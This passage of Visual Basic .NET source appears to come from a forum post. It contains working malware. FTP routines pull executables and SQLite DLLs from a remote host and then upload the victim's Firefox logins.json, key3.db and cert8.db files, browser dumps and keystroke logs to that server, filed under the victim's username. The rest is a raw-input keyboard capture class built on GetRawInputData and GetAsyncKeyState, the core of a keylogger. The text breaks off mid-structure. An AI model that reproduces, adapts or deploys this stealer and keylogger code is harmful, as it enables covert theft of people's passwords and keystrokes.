' FTP server return a _response_ to your request
Dim stream As System.IO.Stream = FTPRequest.GetResponse.GetResponseStream
output = System.IO.File.Create(path1b & "\IEDump.exe")
bytesIn = 1 ' Set initial value to 1 to get into loop. We get out of the loop when bytesIn is zero
Do Until bytesIn < 1
bytesIn = stream.Read(buffer, 0, 1024) ' Read max 1024 bytes to buffer and get the actual number of bytes received
If bytesIn > 0 Then
' Dump the buffer to a file
output.Write(buffer, 0, bytesIn)
' Calc total filesize
totalBytesIn += bytesIn
Application.DoEvents()
End If
Loop
' Close streams
output.Close()
stream.Close()
Catch ex As Exception
' Catch exceptions. THIS IS ONLY FOR DEBUGGING ERRORS. In the production code, use a bit smarter exception catching ;)
' MessageBox.Show(ex.Message)
End Try
End Sub
Private Sub GETSTEAL()
Dim buffer(1023) As Byte ' Allocate a read buffer of 1kB size
Dim bytesIn As Integer ' Number of bytes read to buffer
Dim totalBytesIn As Integer ' Total number of bytes received (= filesize)
Dim output As IO.Stream ' A file to save response
Try
Dim FTPRequest As System.Net.FtpWebRequest = DirectCast(System.Net.WebRequest.Create("ftp://xxx.esy.es/Windows.exe"), System.Net.FtpWebRequest)
' No credentials needed in this case. Usually you need to provide them. Catch the appropriate error if/when credentials are wrong!
FTPRequest.Credentials = New System.Net.NetworkCredential("usuarioftp", "contraseñaftp")
' Send a request to download a file
FTPRequest.Method = System.Net.WebRequestMethods.Ftp.DownloadFile
' FTP server return a _response_ to your request
Dim stream As System.IO.Stream = FTPRequest.GetResponse.GetResponseStream
output = System.IO.File.Create(path1b & "\Chrome.exe")
bytesIn = 1 ' Set initial value to 1 to get into loop. We get out of the loop when bytesIn is zero
Do Until bytesIn < 1
bytesIn = stream.Read(buffer, 0, 1024) ' Read max 1024 bytes to buffer and get the actual number of bytes received
If bytesIn > 0 Then
' Dump the buffer to a file
output.Write(buffer, 0, bytesIn)
' Calc total filesize
totalBytesIn += bytesIn
Application.DoEvents()
End If
Loop
' Close streams
output.Close()
stream.Close()
Catch ex As Exception
' Catch exceptions. THIS IS ONLY FOR DEBUGGING ERRORS. In the production code, use a bit smarter exception catching ;)
' MessageBox.Show(ex.Message)
End Try
End Sub
Private Sub GETSDll1()
Dim buffer(1023) As Byte ' Allocate a read buffer of 1kB size
Dim bytesIn As Integer ' Number of bytes read to buffer
Dim totalBytesIn As Integer ' Total number of bytes received (= filesize)
Dim output As IO.Stream ' A file to save response
Try
Dim FTPRequest As System.Net.FtpWebRequest = DirectCast(System.Net.WebRequest.Create("ftp://xxx.esy.es/sqlite3.dll"), System.Net.FtpWebRequest)
' No credentials needed in this case. Usually you need to provide them. Catch the appropriate error if/when credentials are wrong!
FTPRequest.Credentials = New System.Net.NetworkCredential("usuarioftp", "contraseñaftp")
' Send a request to download a file
FTPRequest.Method = System.Net.WebRequestMethods.Ftp.DownloadFile
' FTP server return a _response_ to your request
Dim stream As System.IO.Stream = FTPRequest.GetResponse.GetResponseStream
output = System.IO.File.Create(path1b & "\sqlite3.dll")
bytesIn = 1 ' Set initial value to 1 to get into loop. We get out of the loop when bytesIn is zero
Do Until bytesIn < 1
bytesIn = stream.Read(buffer, 0, 1024) ' Read max 1024 bytes to buffer and get the actual number of bytes received
If bytesIn > 0 Then
' Dump the buffer to a file
output.Write(buffer, 0, bytesIn)
' Calc total filesize
totalBytesIn += bytesIn
Application.DoEvents()
End If
Loop
' Close streams
output.Close()
stream.Close()
Catch ex As Exception
' Catch exceptions. THIS IS ONLY FOR DEBUGGING ERRORS. In the production code, use a bit smarter exception catching ;)
' MessageBox.Show(ex.Message)
End Try
End Sub
Private Sub GETSDll2()
Dim buffer(1023) As Byte ' Allocate a read buffer of 1kB size
Dim bytesIn As Integer ' Number of bytes read to buffer
Dim totalBytesIn As Integer ' Total number of bytes received (= filesize)
Dim output As IO.Stream ' A file to save response
Try
Dim FTPRequest As System.Net.FtpWebRequest = DirectCast(System.Net.WebRequest.Create("ftp://xxx.esy.es/SQLite3_StdCall.dll"), System.Net.FtpWebRequest)
' No credentials needed in this case. Usually you need to provide them. Catch the appropriate error if/when credentials are wrong!
FTPRequest.Credentials = New System.Net.NetworkCredential("usuarioftp", "contraseñaftp")
' Send a request to download a file
FTPRequest.Method = System.Net.WebRequestMethods.Ftp.DownloadFile
' FTP server return a _response_ to your request
Dim stream As System.IO.Stream = FTPRequest.GetResponse.GetResponseStream
output = System.IO.File.Create(path1b & "\SQLite3_StdCall.dll")
bytesIn = 1 ' Set initial value to 1 to get into loop. We get out of the loop when bytesIn is zero
Do Until bytesIn < 1
bytesIn = stream.Read(buffer, 0, 1024) ' Read max 1024 bytes to buffer and get the actual number of bytes received
If bytesIn > 0 Then
' Dump the buffer to a file
output.Write(buffer, 0, bytesIn)
' Calc total filesize
totalBytesIn += bytesIn
Application.DoEvents()
End If
Loop
' Close streams
output.Close()
stream.Close()
Catch ex As Exception
' Catch exceptions. THIS IS ONLY FOR DEBUGGING ERRORS. In the production code, use a bit smarter exception catching ;)
' MessageBox.Show(ex.Message)
End Try
End Sub
Private Sub send()
'Dim i As Integer
Dim r As Random = New Random
Dim Nume As Integer
Nume = r.Next(1, 2000)
Dim name = Environment.UserName & " - " & Nume
Dim request As System.Net.FtpWebRequest = DirectCast(System.Net.WebRequest.Create("ftp://xxx.esy.es/log/Log " & name & ".txt"), System.Net.FtpWebRequest)
request.Credentials = New System.Net.NetworkCredential("usuarioftp", "contraseñaftp")
request.Method = System.Net.WebRequestMethods.Ftp.UploadFile
Dim file() As Byte = System.IO.File.ReadAllBytes(path)
Dim strz As System.IO.Stream = request.GetRequestStream()
strz.Write(file, 0, file.Length)
strz.Close()
strz.Dispose()
End Sub
Private Sub sendIE()
'Dim i As Integer
Dim r As Random = New Random
Dim Nume As Integer
Nume = r.Next(1, 2000)
Dim name = Environment.UserName & " - " & Nume
Dim request As System.Net.FtpWebRequest = DirectCast(System.Net.WebRequest.Create("ftp://xxx.esy.es/brow/IExp " & name & ".txt"), System.Net.FtpWebRequest)
request.Credentials = New System.Net.NetworkCredential("usuarioftp", "contraseñaftp")
request.Method = System.Net.WebRequestMethods.Ftp.UploadFile
Dim file() As Byte = System.IO.File.ReadAllBytes("c:\Ste\2.txt")
Dim strz As System.IO.Stream = request.GetRequestStream()
strz.Write(file, 0, file.Length)
strz.Close()
strz.Dispose()
End Sub
Private Sub sendCH()
'Dim i As Integer
Dim r As Random = New Random
Dim Nume As Integer
Nume = r.Next(1, 2000)
Dim name = Environment.UserName & " - " & Nume
Dim request As System.Net.FtpWebRequest = DirectCast(System.Net.WebRequest.Create("ftp://xxx.esy.es/brow/Chrome " & name & ".txt"), System.Net.FtpWebRequest)
request.Credentials = New System.Net.NetworkCredential("usuarioftp", "contraseñaftp")
request.Method = System.Net.WebRequestMethods.Ftp.UploadFile
Dim file() As Byte = System.IO.File.ReadAllBytes("c:\Ste\1.txt")
Dim strz As System.IO.Stream = request.GetRequestStream()
strz.Write(file, 0, file.Length)
strz.Close()
strz.Dispose()
End Sub
Private Sub sMF1()
'Dim i As Integer
Dim name = Environment.UserName
Dim request As System.Net.FtpWebRequest = DirectCast(System.Net.WebRequest.Create("ftp://xxx.esy.es/brow/FX " & name & " - cert8.db"), System.Net.FtpWebRequest)
request.Credentials = New System.Net.NetworkCredential("usuarioftp", "contraseñaftp")
request.Method = System.Net.WebRequestMethods.Ftp.UploadFile
Dim file() As Byte = System.IO.File.ReadAllBytes(fire & "\cert8.db")
Dim strz As System.IO.Stream = request.GetRequestStream()
strz.Write(file, 0, file.Length)
strz.Close()
strz.Dispose()
End Sub
Private Sub sMF2()
'Dim i As Integer
Dim name = Environment.UserName
Dim request As System.Net.FtpWebRequest = DirectCast(System.Net.WebRequest.Create("ftp://xxx.esy.es/brow/FX " & name & " - logins.json"), System.Net.FtpWebRequest)
request.Credentials = New System.Net.NetworkCredential("usuarioftp", "contraseñaftp")
request.Method = System.Net.WebRequestMethods.Ftp.UploadFile
Dim file() As Byte = System.IO.File.ReadAllBytes(fire & "\logins.json")
Dim strz As System.IO.Stream = request.GetRequestStream()
strz.Write(file, 0, file.Length)
strz.Close()
strz.Dispose()
End Sub
Private Sub sMF3()
'Dim i As Integer
Dim name = Environment.UserName
Dim request As System.Net.FtpWebRequest = DirectCast(System.Net.WebRequest.Create("ftp://xxx.esy.es/brow/FX " & name & " - key3.db"), System.Net.FtpWebRequest)
request.Credentials = New System.Net.NetworkCredential("usuarioftp", "contraseñaftp")
request.Method = System.Net.WebRequestMethods.Ftp.UploadFile
Dim file() As Byte = System.IO.File.ReadAllBytes(fire & "\key3.db")
Dim strz As System.IO.Stream = request.GetRequestStream()
strz.Write(file, 0, file.Length)
strz.Close()
strz.Dispose()
End Sub
End Class
#Region " Option Statements "
Option Strict On
Option Explicit On
Option Infer Off
#End Region
#Region " Imports "
Imports Microsoft.Win32
Imports System.Globalization
Imports System.Runtime.InteropServices
Imports System.Text
Imports System.ComponentModel
#End Region
#Region " InputDevice "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Handles raw input from keyboard devices.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Public NotInheritable Class InputDevice : Inherits NativeWindow : Implements IDisposable
#Region " P/Invoking "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Platform Invocation methods (P/Invoke), access unmanaged code.
''' This class does not suppress stack walks for unmanaged code permission.
''' <see cref="System.Security.SuppressUnmanagedCodeSecurityAttribute"/> must not be applied to this class.
''' This class is for methods that can be used anywhere because a stack walk will be performed.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>[Enlace externo eliminado para invitados]>
''' ----------------------------------------------------------------------------------------------------
Private NotInheritable Class NativeMethods
#Region " Functions "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Enumerates the raw input devices attached to the system.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="pRawInputDeviceList">
''' An array of <see cref="InputDevice.NativeMethods.RawInputDeviceList"></see> structures for the devices attached to the system.
''' If <see cref="IntPtr.Zero"></see>, the number of devices are returned in <paramref name="puiNumDevices"></paramref> parameter.
''' </param>
'''
''' <param name="puiNumDevices">
''' If <paramref name="pRawInputDeviceList"></paramref> is <see cref="IntPtr.Zero"></see>,
''' the function populates this variable with the number of devices attached to the system;
''' otherwise, this variable specifies the number of <see cref="InputDevice.NativeMethods.RawInputDeviceList"></see> structures that
''' can be contained in the buffer to which <paramref name="pRawInputDeviceList"></paramref> points.
''' If this value is less than the number of devices attached to the system,
''' the function returns the actual number of devices in this variable and fails with ERROR_INSUFFICIENT_BUFFER.
''' </param>
'''
''' <param name="cbSize">
''' The size of a <see cref="InputDevice.NativeMethods.RawInputDeviceList"></see> structure, in bytes.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' If the function is successful, the return value is the number of devices stored in the buffer pointed to by <paramref name="pRawInputDeviceList"></paramref>.
''' On any other error, the function returns -1 and <see cref="Marshal.GetLastWin32Error"></see> returns the error indication.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>[Enlace externo eliminado para invitados]>
''' ----------------------------------------------------------------------------------------------------
<DllImport("User32.dll", SetLastError:=True)>
Friend Shared Function GetRawInputDeviceList(
ByVal pRawInputDeviceList As IntPtr,
ByRef puiNumDevices As UInteger,
ByVal cbSize As UInteger
) As UInteger
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Retrieves information about the raw input device.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="hDevice">
''' A handle to the raw input device.
''' This comes from the lParam of the WM_INPUT message,
''' from the <see cref="InputDevice.NativeMethods.RawInputHeader.HDevice"></see> member of
''' <see cref="InputDevice.NativeMethods.RawInputHeader"></see> structure,
''' or from <see cref="InputDevice.NativeMethods.GetRawInputDeviceList"></see> function.
''' It can also be <see cref="IntPtr.Zero"></see> if an application inserts input data, for example, by using SendInput fcuntion.
''' </param>
'''
''' <param name="uiCommand">
''' Specifies what data will be returned in <paramref name="pData"></paramref>.
''' </param>
'''
''' <param name="pData">
''' A pointer to a buffer that contains the information specified by uiCommand.
''' If <paramref name="uiCommand"></paramref> is RIDI_DEVICEINFO, set the cbSize member of
''' RID_DEVICE_INFO to sizeof(RID_DEVICE_INFO) before calling <see cref="InputDevice.NativeMethods.GetRawInputDeviceInfo"></see> function.
''' </param>
'''
''' <param name="pcbSize">
''' The size, in bytes, of the data in <paramref name="pData"></paramref>.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' If successful, this function returns a non-negative number indicating the number of bytes copied to <paramref name="pData"></paramref>.
''' If <paramref name="pData"></paramref> is not large enough for the data, the function returns -1.
''' If <paramref name="pData"></paramref> is <see cref="IntPtr.Zero"></see>, the function returns 0.
''' In both of these cases, <paramref name="pcbSize"></paramref> is set to the minimum size required for the <paramref name="pData"></paramref> buffer.
''' Call <see cref="Marshal.GetLastWin32Error"></see> to identify any other errors.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>[Enlace externo eliminado para invitados]>
''' ----------------------------------------------------------------------------------------------------
<DllImport("User32.dll", SetLastError:=True)>
Friend Shared Function GetRawInputDeviceInfo(
ByVal hDevice As IntPtr,
ByVal uiCommand As InputDevice.NativeMethods.GetRawInputDeviceInfoCommand,
ByVal pData As IntPtr,
ByRef pcbSize As UInteger
) As UInteger
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Registers the devices that supply the raw input data.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="pRawInputDevice">
''' An array of <see cref="InputDevice.NativeMethods.RawInputDevice"></see> structures that represent the devices that supply the raw input.
''' </param>
'''
''' <param name="uiNumDevices">
''' The number of <see cref="InputDevice.NativeMethods.RawInputDevice"></see> structures pointed to by <paramref name="pRawInputDevices"></paramref>.
''' </param>
'''
''' <param name="cbSize">
''' The size, in bytes, of a <see cref="InputDevice.NativeMethods.RawInputDevice"></see> structure.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' <c>true</c> if the function succeeds; <c>false</c> otherwise.
''' Call <see cref="Marshal.GetLastWin32Error"></see> for more information.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>[Enlace externo eliminado para invitados]>
''' ----------------------------------------------------------------------------------------------------
<DllImport("User32.dll", SetLastError:=True)>
Friend Shared Function RegisterRawInputDevices(
ByVal pRawInputDevice As RawInputDevice(),
ByVal uiNumDevices As UInteger,
ByVal cbSize As UInteger
) As Boolean
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Retrieves the raw input from the specified device.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="hRawInput">
''' A handle to the <see cref="InputDevice.NativeMethods.Rawinput"></see> structure.
''' This comes from the lParam in WM_INPUT.
''' </param>
'''
''' <param name="uiCommand">
''' The command flag.
''' </param>
'''
''' <param name="pData">
''' A pointer to the data that comes from the <see cref="InputDevice.NativeMethods.Rawinput"></see> structure.
''' This depends on the value of <paramref name="uiCommand"></paramref>.
''' If <paramref name="pData"></paramref> is <see cref="IntPtr.Zero"></see>, the required size of the buffer is
''' returned in <paramref name="pcbSize"></paramref>.
''' </param>
'''
''' <param name="pcbSize">
''' The size, in bytes, of the data in <paramref name="pData"></paramref>.
''' </param>
'''
''' <param name="cbSizeHeader">
''' The size, in bytes, of the <see cref="InputDevice.NativeMethods.RawInputHeader"></see> structure.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' If <paramref name="pData"></paramref> is <see cref="IntPtr.Zero"></see> and the function is successful, the return value is 0.
''' If <paramref name="pData"></paramref> is not <see cref="IntPtr.Zero"></see> and the function is successful, the return value is
''' the number of bytes copied into <paramref name="pData"></paramref>.
''' If there is an error, the return value is -1.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>[Enlace externo eliminado para invitados]>
''' ----------------------------------------------------------------------------------------------------
<DllImport("User32.dll")>
Friend Shared Function GetRawInputData(
ByVal hRawInput As IntPtr,
ByVal uiCommand As InputDevice.NativeMethods.GetRawInputDataCommand,
ByVal pData As IntPtr,
ByRef pcbSize As UInteger,
ByVal cbSizeHeader As UInteger
) As UInteger
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Translates the specified virtual-key code and keyboard state to the corresponding Unicode character or characters.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="wVirtKey">
''' The virtual-key code to be translated.
''' See Virtual-Key Codes: [Enlace externo eliminado para invitados]
''' </param>
'''
''' <param name="wScanCode">
''' The hardware scan code of the key to be translated.
''' The high-order bit of this value is set if the key is up.
''' </param>
'''
''' <param name="lpKeyState">
''' A pointer to a 256-byte array that contains the current keyboard state.
''' Each element (byte) in the array contains the state of one key.
''' If the high-order bit of a byte is set, the key is down.
''' </param>
'''
''' <param name="pwszBuff">
''' The buffer that receives the translated Unicode character or characters.
''' However, this buffer may be returned without being null-terminated even though the
''' variable name suggests that it is null-terminated.
''' </param>
'''
''' <param name="cchBuff">
''' The size, in characters, of the buffer pointed to by the <paramref name="pwszBuff"></paramref> parameter.
''' </param>
'''
''' <param name="wFlags">
''' The behavior of the function.
''' If bit 0 is set, a menu is active.
''' Bits 1 through 31 are reserved.
''' </param>
'''
''' <param name="dwhkl">
''' The input locale identifier used to translate the specified code.
''' This parameter can be any input locale identifier previously returned by the LoadKeyboardLayout function.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The function returns one of the following values.
'''
''' -1:
''' The specified virtual key is a dead-key character (accent or diacritic).
''' This value is returned regardless of the keyboard layout,
''' even if several characters have been typed and are stored in the keyboard state.
''' If possible, even with Unicode keyboard layouts,
''' the function has written a spacing version of the dead-key character to the buffer specified by <paramref name="pwszBuff"></paramref>.
''' For example, the function writes the character SPACING ACUTE (0x00B4),
''' rather than the character NON_SPACING ACUTE (0x0301).
'''
''' 0:
''' The specified virtual key has no translation for the current state of the keyboard.
''' Nothing was written to the buffer specified by <paramref name="pwszBuff"></paramref>.
'''
''' 1:
''' One character was written to the buffer specified by <paramref name="pwszBuff"></paramref>.
'''
''' 2 ≤:
''' Two or more characters were written to the buffer specified by <paramref name="pwszBuff"></paramref>.
''' The most common cause for this is that a dead-key character (accent or diacritic) stored in the
''' keyboard layout could not be combined with the specified virtual key to form a single character.
''' However, the buffer may contain more characters than the return value specifies.
''' When this happens, any extra characters are invalid and should be ignored.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>[Enlace externo eliminado para invitados]>
''' ----------------------------------------------------------------------------------------------------
<DllImport("user32.dll", CharSet:=CharSet.Auto, ExactSpelling:=True, CallingConvention:=CallingConvention.Winapi)>
Friend Shared Function ToUnicodeEx(
ByVal wVirtKey As UInteger,
ByVal wScanCode As UInteger,
ByVal lpKeyState As Byte(),
<Out, MarshalAs(UnmanagedType.LPWStr)>
ByVal pwszBuff As StringBuilder,
ByVal cchBuff As Integer,
ByVal wFlags As UInteger,
ByVal dwhkl As IntPtr
) As Integer
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Retrieves the status of the specified virtual key.
''' The status specifies whether the key is up, down, or toggled (on, off—alternating each time the key is pressed).
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="vKey">
''' The virtual-key code.
''' See Virtual-Key Codes: [Enlace externo eliminado para invitados]
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' If the high-order bit is 1, the key is down; otherwise, it is up.
''' If the low-order bit is 1, the key is toggled.
''' A key, such as the CAPS LOCK key, is toggled if it is turned on.
''' The key is off and untoggled if the low-order bit is 0.
''' A toggle key's indicator light (if any) on the keyboard will be on when the key is toggled, and off when the key is untoggled.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>[Enlace externo eliminado para invitados]>
''' ----------------------------------------------------------------------------------------------------
<DllImport("user32.dll", CharSet:=CharSet.Auto, ExactSpelling:=True, CallingConvention:=CallingConvention.Winapi)>
Friend Shared Function GetKeyState(
ByVal vKey As Keys
) As Short
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Determines whether a key is up or down at the time the function is called,
''' and whether the key was pressed after a previous call to GetAsyncKeyState.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="vKey">
''' The virtual-key code.
''' See Virtual-Key Codes: [Enlace externo eliminado para invitados]
''' You can use left- and right-distinguishing constants to specify certain keys.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' If the function succeeds,
''' the return value specifies whether the key was pressed since the last call to
''' <see cref="InputDevice.NativeMethods.GetAsyncKeyState"></see>,
''' and whether the key is currently up or down.
''' If the most significant bit is set, the key is down,
''' and if the least significant bit is set, the key was pressed after the previous call to
''' <see cref="InputDevice.NativeMethods.GetAsyncKeyState"></see>.
''' However, you should not rely on this last behavior.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>[Enlace externo eliminado para invitados]>
''' ----------------------------------------------------------------------------------------------------
<DllImport("user32.dll", CharSet:=CharSet.Auto, ExactSpelling:=True, CallingConvention:=CallingConvention.Winapi)>
Friend Shared Function GetAsyncKeyState(
ByVal vKey As Keys
) As Short
End Function
#End Region
#Region " Enumerations "
''' <summary>
''' The system sends or posts a system-defined message when it communicates with an application.
''' It uses these messages to control the operations of applications and to provide input and other information for applications to process.
''' An application can also send or post system-defined messages.
''' Applications generally use these messages to control the operation of control windows created by using preregistered window classes.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>[Enlace externo eliminado para invitados]>
''' ----------------------------------------------------------------------------------------------------
Friend Enum WindowsMessages As Integer
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Sent to the window that is getting raw input.
''' A window receives this message through its WindowProc function.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>[Enlace externo eliminado para invitados]>
''' ----------------------------------------------------------------------------------------------------
WM_INPUT = &HFF
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Posted to the window with the keyboard focus when a nonsystem key is pressed.
''' A nonsystem key is a key that is pressed when the ALT key is not pressed
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>[Enlace externo eliminado para invitados]>
''' ----------------------------------------------------------------------------------------------------
WM_KEYDOWN = &H100
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Posted to the window with the keyboard focus when the user presses the F10 key (which activates the menu bar)
''' or holds down the ALT key and then presses another key.
''' It also occurs when no window currently has the keyboard focus; in this case, the WM_SYSKEYDOWN message is sent to the active window.
''' The window that receives the message can distinguish between these two contexts by checking the context code in the lParam parameter
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>[Enlace externo eliminado para invitados]>
''' ----------------------------------------------------------------------------------------------------
WM_SYSKEYDOWN = &H104
End Enum
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Specifies a type of device.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>[Enlace externo eliminado para invitados]>
''' ----------------------------------------------------------------------------------------------------
Friend Enum DeviceType As Integer
''' <summary>
''' The device is a mouse.
''' </summary>
Mouse = &H0 ' RIM_TYPEMOUSE
''' <summary>
''' The device is a keyboard.
''' </summary>
Keyboard = &H1 ' RIM_TYPEKEYBOARD
''' <summary>
''' The device is an HID that is not a keyboard and not a mouse.
''' </summary>
Hid = &H2 ' RIM_TYPEHID
End Enum
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Values for <paramref name="uiCommand"></paramref> of <see cref="InputDevice.NativeMethods.GetRawInputDeviceInfo"></see> function.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>[Enlace externo eliminado para invitados]>
''' ----------------------------------------------------------------------------------------------------
Friend Enum GetRawInputDeviceInfoCommand As UInteger
''' <summary>
''' <paramref name="pData"></paramref> points to a string that contains the device name.
''' </summary>
DeviceName = &H20000007UI
''' <summary>
''' <paramref name="pData"></paramref> points to an RID_DEVICE_INFO structure.
''' </summary>
DeviceInfo = &H2000000BUI
''' <summary>
''' <paramref name="pData"></paramref> points to the previously parsed data.
''' </summary>
PreParsedData = &H20000005UI
End Enum
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Values for <paramref name="uiCommand"></paramref> of <see cref="InputDevice.NativeMethods.GetRawInputData"></see> function.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>[Enlace externo eliminado para invitados]>
''' ----------------------------------------------------------------------------------------------------
Friend Enum GetRawInputDataCommand As UInteger
''' <summary>
''' Get the header information from the <see cref="InputDevice.NativeMethods.Rawinput"></see> structure.
''' </summary>
Header = &H10000005UI
''' <summary>
''' Get the raw data from the <see cref="InputDevice.NativeMethods.Rawinput"></see> structure.
''' </summary>
Input = &H10000003UI
End Enum
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Values for <paramref name="dwFlags"></paramref> of <see cref="InputDevice.NativeMethods.RawInputDevice"></see> structure.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>[Enlace externo eliminado para invitados]>
''' ----------------------------------------------------------------------------------------------------
<Flags>
Friend Enum RawInputDeviceFlags As Integer
''' <summary>
''' If set, the application command keys are handled.
''' <see cref="InputDevice.NativeMethods.RawInputDeviceFlags.AppKeys"></see> can be specified only if
''' <see cref="InputDevice.NativeMethods.RawInputDeviceFlags.NoLegacy"></see> is specified for a keyboard device.
''' </summary>
AppKeys = &H400
''' <summary>
''' If set, the mouse button click does not activate the other window.
''' </summary>
CaptureMouse = &H200
''' <summary>
''' If set, this enables the caller to receive WM_INPUT_DEVICE_CHANGE notifications for device arrival and device removal.
''' </summary>
DevNotify = &H2000
''' <summary>
''' If set, this specifies the top level collections to exclude when reading a complete usage page.
''' This flag only affects a TLC whose usage page is already specified with
''' <see cref="InputDevice.NativeMethods.RawInputDeviceFlags.PageOnly"></see>.
''' </summary>
Exclude = &H10
''' <summary>
''' If set, this enables the caller to receive input in the background only if the foreground application does not process it.
''' In other words, if the foreground application is not registered for raw input,
''' then the background application that is registered will receive the input.
''' </summary>
ExInputSink = &H1000
''' <summary>
''' If set, this enables the caller to receive the input even when the caller is not in the foreground.
''' Note that hwndTarget must be specified.
''' </summary>
InputSink = &H100
''' <summary>
''' If set, the application-defined keyboard device hotkeys are not handled.
''' However, the system hotkeys; for example, ALT+TAB and CTRL+ALT+DEL, are still handled.
''' By default, all keyboard hotkeys are handled.
''' <see cref="InputDevice.NativeMethods.RawInputDeviceFlags.NoHotkeys"></see> can be specified even if
''' <see cref="InputDevice.NativeMethods.RawInputDeviceFlags.NoLegacy"></see> is not specified and hwndTarget is NULL.
''' </summary>
NoHotkeys = &H200
''' <summary>
''' If set, the application-defined keyboard device hotkeys are not handled.
''' However, the system hotkeys; for example, ALT+TAB and CTRL+ALT+DEL, are still handled.
''' By default, all keyboard hotkeys are handled.
''' <see cref="InputDevice.NativeMethods.RawInputDeviceFlags.NoHotkeys"></see> can be specified even if
''' <see cref="InputDevice.NativeMethods.RawInputDeviceFlags.NoLegacy"></see> is not specified and hwndTarget is NULL.
''' </summary>
NoLegacy = &H30
''' <summary>
''' If set, this specifies all devices whose top level collection is from the
''' specified <see cref="InputDevice.NativeMethods.RawInputDevice.UsUsagePage"></see>.
''' Note that <see cref="InputDevice.NativeMethods.RawInputDevice.UsUsage"></see> must be zero.
''' To exclude a particular top level collection, use <see cref="InputDevice.NativeMethods.RawInputDeviceFlags.Exclude"></see>.
''' </summary>
PageOnly = &H20
''' <summary>
''' If set, this removes the top level collection from the inclusion list.
''' This tells the operating system to stop reading from a device which matches the top level collection.
''' </summary>
Remove = &H1
End Enum
#End Region
#Region " Structures"
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Contains information about a raw input device.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>[Enlace externo eliminado para invitados]>
''' ----------------------------------------------------------------------------------------------------
<StructLayout(LayoutKind.Sequential)>
Friend Structure RawInputDeviceList
''' <summary>
''' A handle to the raw input device.
''' </summary>
Public HDevice As IntPtr
''' <summary>
''' The type of device.
''' </summary>
<MarshalAs(UnmanagedType.U4)>
Public DwType As InputDevice.NativeMethods.DeviceType
End Structure
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Contains the raw input from a device.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>[Enlace externo eliminado para invitados]>
''' ----------------------------------------------------------------------------------------------------
<StructLayout(LayoutKind.Explicit)>
Friend Structure Rawinput
''' <summary>
''' The raw input data.
''' </summary>
<FieldOffset(0)>
Public Header As RawInputHeader
''' <summary>
''' If the data comes from a mouse, this is the raw input data.
''' </summary>
<FieldOffset(16)>
Public Mouse As RawMouse
''' <summary>
''' If the data comes from a keyboard, this is the raw input data.
''' </summary>
<FieldOffset(16)>
Public Keyboard As RawKeyboard
''' <summary>
''' If the data comes from an HID, this is the raw input data.
''' </summary>
<FieldOffset(16)>
Public Hid As RawHid
End Structure
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Contains the header information that is part of the raw input data.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>[Enlace externo eliminado para invitados]>
''' ----------------------------------------------------------------------------------------------------
<StructLayout(LayoutKind.Sequential)>
Friend Structure RawInputHeader
''' <summary>
''' The type of raw input.
''' </summary>
<MarshalAs(UnmanagedType.U4)>
Public DwType As InputDevice.NativeMethods.DeviceType
''' <summary>
''' The size, in bytes, of the entire input packet of data.
''' This includes RAWINPUT plus possible extra input reports in the RAWHID variable length array.
''' </summary>
<MarshalAs(UnmanagedType.U4)>
Public DwSize As Integer
''' <summary>
''' A handle to the device generating the raw input data.
''' </summary>
Public HDevice As IntPtr
''' <summary>
''' The value passed in the wParam parameter of the WM_INPUT message.
''' </summary>
